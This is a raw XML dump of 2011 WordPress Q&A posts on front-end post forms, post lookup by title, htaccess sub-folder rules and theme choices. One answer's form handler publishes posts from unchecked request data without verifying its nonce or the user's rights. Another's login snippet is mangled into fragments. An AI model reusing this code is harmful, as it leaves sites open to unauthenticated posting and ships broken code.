  <row Id="11289" PostTypeId="2" ParentId="11288" CreationDate="2011-03-06T09:23:57.543" Score="0" ViewCount="" Body="&lt;p&gt;posting from the front-end is a matter of displaying a form and processing it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- New Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- post name --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;title&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- post Category --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;Category&quot;&amp;gt;Category:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=4&amp;amp;taxonomy=category' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- post Content --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Content&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; tabindex=&quot;3&quot; name=&quot;description&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;!-- post tags --&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_tags&quot;&amp;gt;Tags:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; tabindex=&quot;5&quot; size=&quot;16&quot; name=&quot;post_tags&quot; id=&quot;post_tags&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;new_post&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the processing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;new_post&quot;) {&#xA;&#xA;    // Do some minor form validation to make sure there is content&#xA;    if (isset ($_POST['title'])) {&#xA;        $title =  $_POST['title'];&#xA;    } else {&#xA;        echo 'Please enter a  title';&#xA;    }&#xA;    if (isset ($_POST['description'])) {&#xA;        $description = $_POST['description'];&#xA;    } else {&#xA;        echo 'Please enter the content';&#xA;    }&#xA;    $tags = $_POST['post_tags'];&#xA;&#xA;    // Add the content of the form to $post as an array&#xA;    $new_post = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $description,&#xA;        'post_category' =&amp;gt; array($_POST['cat']),  // Usable for custom taxonomies too&#xA;        'tags_input'    =&amp;gt; array($tags),&#xA;        'post_status'   =&amp;gt; 'publish',           // Choose: publish, preview, future, draft, etc.&#xA;        'post_type' =&amp;gt; 'post_type_name'  //'post',page' or use a custom post type if you want to&#xA;    );&#xA;    //save the new post&#xA;    $pid = wp_insert_post($new_post); &#xA;    //insert taxonomies&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-06T09:23:57.543" CommentCount="8" />
  <row Id="11290" PostTypeId="2" ParentId="11267" CreationDate="2011-03-06T10:02:25.390" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at the Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_parents&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_category_parents&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// returns true or false    &#xA;function check_category( $cat_id ){&#xA;    $parent = '';&#xA;    $parent = get_category_parents( $cat_id );&#xA;    return empty($parent);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-03-06T10:02:25.390" CommentCount="2" />
  <row Id="11291" PostTypeId="2" ParentId="7947" CreationDate="2011-03-06T10:11:40.373" Score="0" ViewCount="" Body="&lt;p&gt;i think this code is better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function login() {&#xA;if (is_user_logged_in()) {echo '&#xA;Bạn đã đăng nhập rồi ! có thể bạn muốn đăng xuất ?';} else {&#xA;?&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&quot; id=&quot;loginform&quot; name=&quot;loginform&quot;&gt;&#xA;    &lt;p&gt;&#xA;        Tên đăng nhập&lt;br&gt;&#xA;        &#xA;    &lt;/p&gt;&#xA;    &lt;p&gt;&#xA;        Mật khẩu&lt;br&gt;&#xA;        &#xA;    &lt;/p&gt;&#xA;     Tự động đăng nhập lần sau&lt;/p&gt;&#xA;    &#xA;        &#xA;        &quot; name=&quot;redirect_to&quot;&gt;&#xA;        &#xA;    &lt;/p&gt;&#xA;&#xA;&#xA;&#xA; |&#xA;&quot;&gt;Bạn quên mật khẩu?&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;p&gt;And now add this code to header.php in your template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($_GET['msv'] == 'login'){&#xA;login();&#xA;get_sidebar();&#xA;get_footer();&#xA;} else { /// add more or display home page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;heheh ! thats you will see the better login screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it;s like my page: &quot;http://muasamvui.com/?msv=login&quot; !&lt;/p&gt;&#xA;" LastActivityDate="2011-03-06T10:11:40.373" />
  <row Id="11292" PostTypeId="1" AcceptedAnswerId="11296" CreationDate="2011-03-06T10:35:38.500" Score="2" ViewCount="190" Body="&lt;p&gt;I've scoured the Codex, failed to get get_page_by_title() to work and am quite surprised that there doesn't seem to be a standard WP function for this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the ID of any given post/ cpt or page using either the slug of the post/ page title. Ideally I'm looking for the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post_ID_by_title('My post title', 'customposttype');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I be doing?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-06-17T17:44:52.733" Title="How do I get a post (page or CPT) ID from a title or slug?" Tags="&lt;custom-post-types&gt;&lt;slug&gt;&lt;title&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" />
  <row Id="11293" PostTypeId="2" ParentId="11231" CreationDate="2011-03-06T10:44:47.290" Score="2" ViewCount="" Body="&lt;p&gt;You might want to look into &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.overloading.php#language.oop5.overloading.methods&quot; rel=&quot;nofollow&quot;&gt;magic class methods and overloading in PHP&lt;/a&gt; which will have the function name called passed as a parameter. Then you can make decisions based on the function name like &lt;code&gt;return__some_string&lt;/code&gt; I pin-up some exemplary and untested code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class magiCall {&#xA;    public static function __callStatic ( string $name , array $arguments ) {&#xA;        // your code here, $name is the function name called.&#xA;    }&#xA;}&#xA;&#xA;add_filter('hookname', 'magiCall::return__the_string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that example pretty much shows the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is PHP 5.3.x you can make this PHP 5.2 compatible by using the &lt;code&gt;__call&lt;/code&gt; magic method and if you have a static public function to return the callback, then you might be able to write it comparable simplified. See the link to the php manual above.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-06T10:44:47.290" CommentCount="1" />
  <row Id="11294" PostTypeId="2" ParentId="11260" CreationDate="2011-03-06T10:45:38.737" Score="1" ViewCount="" Body="&lt;p&gt;I really like &lt;a href=&quot;http://buddypress.org&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt; for interactive communities, so I tend to go overkill and use it for anything that might possibly evolve to need its functionality in the future. Combine it with an events plugin like &lt;a href=&quot;http://shabushabu.eu/buddyvents-1-3/&quot; rel=&quot;nofollow&quot;&gt;Buddyvents&lt;/a&gt; or &lt;a href=&quot;http://code.google.com/p/eventpress/&quot; rel=&quot;nofollow&quot;&gt;EventPress&lt;/a&gt; to create a much richer user experience than you'd have with just an events plugin alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other upshoot of using BuddyPress is you can implement group-based forums really easily out of the box, which may ease other parts of your development process.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-03-07T06:43:20.660" LastActivityDate="2011-03-07T06:43:20.660" />
  <row Id="11295" PostTypeId="2" ParentId="6600" CreationDate="2011-03-06T10:58:45.340" Score="0" ViewCount="" Body="&lt;p&gt;Please provide a link to an example page in the future, makes everyone's job easier. :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;thumb&quot; href=&quot;&amp;lt;?php echo $image-&amp;gt;imageURL ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $image- &amp;gt;description ?&amp;gt;&quot; &amp;lt;?php echo $image-&amp;gt;thumbcode ?&amp;gt; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;thumb&quot; href=&quot;&amp;lt;?php echo $image-&amp;gt;imageURL ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $image-&amp;gt;description ?&amp;gt;&quot; &amp;lt;?php echo $image-&amp;gt;thumbcode ?&amp;gt; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a space after &lt;code&gt;$image-&lt;/code&gt; and before &lt;code&gt;&amp;gt;description&lt;/code&gt;, which could be the issue. I have the feeling that the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;image-desc&quot;&amp;gt;&amp;lt;?php echo $image-&amp;gt;description ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...Doesn't actually do anything, and that Gallerific takes the image title and uses that as the caption &lt;em&gt;in the div with ID #caption&lt;/em&gt;. Note the comment on the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; captionContainerSel:       '#caption', // The CSS selector for the element within which the captions should be rendered&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It says &quot;where it should be rendered&quot;, not &quot;where it gets caption info from.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this doesn't do it and I'll suggest some other changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;-Æ.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-03-06T10:58:45.340" />
  <row Id="11296" PostTypeId="2" ParentId="11292" CreationDate="2011-03-06T11:01:14.103" Score="3" ViewCount="" Body="&lt;p&gt;you can use this function that jumps by google &quot;get post by title&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Retrieve a post given its title.&#xA;*&#xA;* @uses $wpdb&#xA;*&#xA;* @param string $post_title Page title&#xA;* @param string $post_type post type ('post','page','any custom type')&#xA;* @param string $output Optional. Output type. OBJECT, ARRAY_N, or ARRAY_A.&#xA;* @return mixed&#xA;*/&#xA;function get_post_by_title($page_title, $post_type ='post' , $output = OBJECT) {&#xA;    global $wpdb;&#xA;        $post = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_title = %s AND post_type= %s&quot;, $page_title, $post_type));&#xA;        if ( $post )&#xA;            return get_post($post, $output);&#xA;&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-06T11:01:14.103" CommentCount="9" />
  <row Id="11298" PostTypeId="2" ParentId="11271" CreationDate="2011-03-06T11:17:31.583" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;query_posts() ALWAYS displays something?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No it doesn't at least not for me, i've tried the code you posted inside my child theme and was unable to reproduce the issue described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, i tried...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( have_posts() ) : the_post(); ?&amp;gt;    &#xA;    &amp;lt;!--- DO NOTHING ! --&amp;gt;&#xA;&amp;lt;?php endwhile ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..and got nothing, so i then tested..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;posts_per_page=1&amp;amp;paged=$paged&quot;);&#xA;global $more;&#xA;$more = 0;&#xA;&#xA;while ( have_posts() ) : the_post(); ?&amp;gt;    &#xA;         &amp;lt;h1&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;         &amp;lt;h3&amp;gt;&amp;lt;?php the_content( __( '') ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php endwhile ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..which produced..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Post title&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;p&amp;gt;post content&amp;lt;/p&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No stray paragraph of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i had to guess at the problem, i'd say there's a badly coded filter or shortcode at work. Easiest way to isolate the cause (as with any WP troubleshooting) would be to disable plugins and/or switch theme and narrow down which is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;Use a new &lt;code&gt;WP_Query&lt;/code&gt; object instead of &lt;code&gt;query_posts&lt;/code&gt; and that should clear up the problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function posts_shortcode( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;    ), $atts ) );  &#xA;    global $more, $wp_query;&#xA;    $args = array( &#xA;      'posts_per_page' =&amp;gt; 1,&#xA;      'paged' =&amp;gt; get_query_var('paged')&#xA;    );&#xA;    $q = new WP_Query;&#xA;    $q-&amp;gt;query( $args );&#xA;&#xA;    // Backup $wp_query&#xA;    $backup = $wp_query;&#xA;    // Fill $wp_query with the custom query&#xA;    $wp_query = $q;&#xA;&#xA;    // Do the loop&#xA;    while ( $q-&amp;gt;have_posts() ) : &#xA;      $q-&amp;gt;the_post(); &#xA;      $more = 0;&#xA;    ?&amp;gt;    &#xA;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;?php the_content( __( '') ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;    endwhile;&#xA;&#xA;    // Output page navi&#xA;    wp_pagenavi();&#xA;&#xA;    // Restore $wp_query&#xA;    $wp_query = $backup;&#xA;&#xA;    // Restores wp_query global and also resets postdata(may not be needed, but won't hurt)&#xA;    wp_reset_query(); &#xA;}&#xA;&#xA;add_shortcode('posts', 'posts_shortcode'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-08T09:35:00.570" LastActivityDate="2011-03-08T09:35:00.570" CommentCount="16" />
  <row Id="11299" PostTypeId="1" CreationDate="2011-03-05T23:01:52.783" Score="0" ViewCount="251" Body="&lt;p&gt;I have WordPress installation on the root of a website, I need to install another application on a sub-folder but that application got its own set of rules for URLs on its .htaccess file, my problem is that WordPress takes the control, and when I try to go to a URL on that sub-folder WordPress would just show me an 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the sub-folder app to work ignoring WordPress rules completely, or the opposite, WordPress to ignore the application on that sub-folder and leave it work on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I found a solution, on the inside folder .htaccess file I added the base url with the sub-folder on it, and now it is working. &lt;/p&gt;&#xA;" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-03-06T12:24:43.083" LastActivityDate="2011-08-28T16:49:43.607" Title="How to avoid wordpress permalink rules to inherit in a sub-folder" Tags="&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="11300" PostTypeId="2" ParentId="11299" CreationDate="2011-03-05T23:13:47.273" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;RewriteRules none&lt;/code&gt; in that directory's &lt;code&gt;.htaccess&lt;/code&gt; file should stop mod_rewrite from inheriting Wordpress' rewrite rules.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-05T23:13:47.273" />
  <row Id="11301" PostTypeId="1" CreationDate="2011-03-06T12:38:58.690" Score="0" ViewCount="59" Body="&lt;p&gt;I have a project to be working on which is going to be built on Wordpress. I was wondering if anyone knew how to modify Wordpress so It's dating and archive system was build to meet academic years instead of normal years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Academic years obviously start and finish at different times and I wondered if it was possible to modify Wordpress to notice this throughout the system when blogging. Academic years would be split up like so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2010/2011&#xA;2011/2012&#xA;2012/2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea's on how this would work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks laies and gents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glen&lt;/p&gt;&#xA;" LastActivityDate="2011-03-06T12:38:58.690" Title="Wordpress using academic years" Tags="&lt;3.1&gt;" CommentCount="2" />
  <row Id="11302" PostTypeId="1" CreationDate="2011-03-06T12:39:37.157" Score="0" ViewCount="224" Body="&lt;p&gt;I know there are a lot of options (exported files, plugins) but I am looking for a specific one that I used to use but now I have misplaced a local copy of it and can't seem to find it on Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was related to Gorilla themes, I guess. It has meaningful content and not just &lt;code&gt;lorem ipsum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody can point me to it, then that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-06T15:47:21.330" Title="WordPress dummy data for theme design" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="11303" PostTypeId="2" ParentId="11302" CreationDate="2011-03-06T13:28:04.280" Score="1" ViewCount="" Body="&lt;p&gt;You’ll find the latest test data on &lt;a href=&quot;http://svn.automattic.com/wpcom-themes/demo/&quot; rel=&quot;nofollow&quot;&gt;svn.automattic.com&lt;/a&gt; as a XML file. Last time I used this, there were no languages like Arabic or Chinese and no complex tables. You have to add such data on your own, I’m afraid.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-06T13:28:04.280" CommentCount="3" />
  <row Id="11304" PostTypeId="2" ParentId="8515" CreationDate="2011-03-06T14:20:57.073" Score="0" ViewCount="" Body="&lt;p&gt;I added &quot;http://&quot; in the Facebook URL (See the issue for more details).&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-03-06T14:20:57.073" />
  <row Id="11305" PostTypeId="1" CreationDate="2011-03-06T14:26:29.130" Score="0" ViewCount="64" Body="&lt;p&gt;Hi&#xA;I'm a Wordpress newbie, so forgive if some of my questions is obvius :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a Wordpress theme (premium or free) similar to &lt;a href=&quot;http://www.wired.com/dangerroom/&quot; rel=&quot;nofollow&quot;&gt;this one at Wired.com&lt;/a&gt;, but on 3 columns instead of 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I would be able to show the full post in the widest column (with optional break if it's too long)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another request is about the option for readers to read/write comments without changing the page (just as Posterous, for example &lt;a href=&quot;http://www.softworkr.com&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3735" LastActivityDate="2011-03-06T16:45:13.267" Title="Theme raccomendation" Tags="&lt;theme-recommendation&gt;" AnswerCount="1" />
  <row Id="11306" PostTypeId="1" CreationDate="2011-03-06T15:39:09.317" Score="1" ViewCount="217" Body="&lt;p&gt;I have installed Syntax Highlighter Evolved to simplify code snippets writting and highlighting. I know that it is quite popular and used by many bloggers so I must be doing something wrong because it drives me mad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writting my first blog post and I want to include several C# and XML code snippets. I can include one snippet format it as I need but when I continue with second snippet (switching between HTML and Wysiwyg editor and saving draft several times) it sometimes lost formatting of my former snippet (in case of XML it deletes whole snippet). What I'm doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using version 3.1.1 of syntax highlighter and WordPress 3.1. I'm writting my post directly in WordPress admin interface. &lt;/p&gt;&#xA;" OwnerUserId="2768" LastActivityDate="2011-04-06T05:39:33.833" Title="How to work with Syntax Highlighter Evolved?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;syntax-highlighting&gt;&lt;writing&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11307" PostTypeId="2" ParentId="11302" CreationDate="2011-03-06T15:47:21.330" Score="0" ViewCount="" Body="&lt;p&gt;I think you talking about WPCandy Sample WordPress Content &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpcandy.com/made/the-sample-post-collection&quot; rel=&quot;nofollow&quot;&gt;http://wpcandy.com/made/the-sample-post-collection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-06T15:47:21.330" />
  <row Id="11308" PostTypeId="2" ParentId="11306" CreationDate="2011-03-06T16:02:30.857" Score="1" ViewCount="" Body="&lt;p&gt;its not the plugins issue, it is problem with wordpress's visual editor. i used this plugin : &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-advanced/&lt;/a&gt; which enabled me to fix and work better, because it have option to disable code stripping. &#xA;take a look and let me know if it works :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-06T16:02:30.857" CommentCount="3" />
  <row Id="11309" PostTypeId="2" ParentId="3353" CreationDate="2011-03-06T16:40:08.143" Score="1" ViewCount="" Body="&lt;p&gt;I have a plugin for merging tags, but from the back-end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/term-management-tools/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/term-management-tools/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-06T16:40:08.143" />
  <row Id="11310" PostTypeId="2" ParentId="11305" CreationDate="2011-03-06T16:45:13.267" Score="1" ViewCount="" Body="&lt;p&gt;If you are looking for a premium theme that you can build on as your skills develop, I would suggest Thesis, by DIY Themes ( &lt;a href=&quot;http://diythemes.com/&quot; rel=&quot;nofollow&quot;&gt;http://diythemes.com/&lt;/a&gt; --watch the video). You can easily switch between 1, 2, and 3 column layouts and the theme has many other features that make it worth the premium price.  The user forums are very helpful and will be quite useful if you are a newbie to WordPress and to Thesis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a free theme, stick to the themes at the Free Themes Directory at wordpress.org. (&lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;). You can get a good idea if they will fit your needs visually and avoid some of the malicious code that you can get from some of the free theme sites &quot;out in the wild&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-06T16:45:13.267" />
  <row Id="11311" PostTypeId="1" AcceptedAnswerId="11312" CreationDate="2011-03-06T16:49:48.947" Score="0" ViewCount="57" Body="&lt;p&gt;What is theme-editor.tmp? It is located under wp-content.&lt;/p&gt;&#xA;" OwnerUserId="1741" LastActivityDate="2011-03-06T17:27:02.970" Title="What is theme-editor.tmp?" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="11312" PostTypeId="2" ParentId="11311" CreationDate="2011-03-06T17:27:02.970" Score="2" ViewCount="" Body="&lt;p&gt;.tmp-files are temporarly files created by incomplete Wordpress- or plugin actions. &#xA;These files appear also in general computing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, they are often created during plugin updates that are performed from the Wordpress backend (wp-admin). If the plugin upgrade fails for some reason, or termitated by the user, the .tmp files may not be deleted by the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .tmp files can be deleted safely under normal circumstances – since they are usually the forgotten residue of some incomplete WordPress actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it might be a good idea to backup the files to a local folder before you delete them, just in case.. &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-03-06T17:27:02.970" />
  <row Id="11313" PostTypeId="2" ParentId="10467" CreationDate="2011-03-06T18:00:04.123" Score="0" ViewCount="" Body="&lt;p&gt;Check to make sure that your .htaccess file is active - ie in your apache virtual host settings make sure you've got something like &lt;code&gt;AllowOverride All&lt;/code&gt; in the  section&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-06T18:00:04.123" />
  <row Id="11314" PostTypeId="1" CreationDate="2011-03-06T18:26:14.007" Score="0" ViewCount="59" Body="&lt;p&gt;anyone know why my blog posts are now all showing up in reverse order since updating to wordpress 3.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So like my first ever post is showing up first and my latest post is on page 12?!&#xA;any ideas how I fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" LastActivityDate="2011-07-26T00:38:32.347" Title="Wordpress 3.1 update has reversed my blog posts" Tags="&lt;3.1&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11315" PostTypeId="1" CreationDate="2011-03-06T18:44:43.200" Score="0" ViewCount="189" Body="&lt;p&gt;WordPress, S2Member plugin, or browser/cookie issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last couple of days I have received the following error when publishing, editing and updating, permenantly deleting, or even restoring a post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Could not authenticate you.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole screen is white/blank except for this message. And my post is not saved or updated (thereby losing my work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL varies, but is something like this:&#xA;&lt;a href=&quot;http://mysite.com/wp-admin/post.php&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/wp-admin/post.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also sometimes on the post editor screen it says &quot;You do not have permission to do that.&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as Admin under another username other than &quot;Admin&quot;. If I hit the browser back button I'm still logged in and can view the dashboard or other things like plugins, but certain things lock me out (like editing a post/page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm paranoid now, but with just cause...I've got to the point that I save all of my post html into a separate text editor in precaution of the post not saving and thereby losing my work (which has happened several times 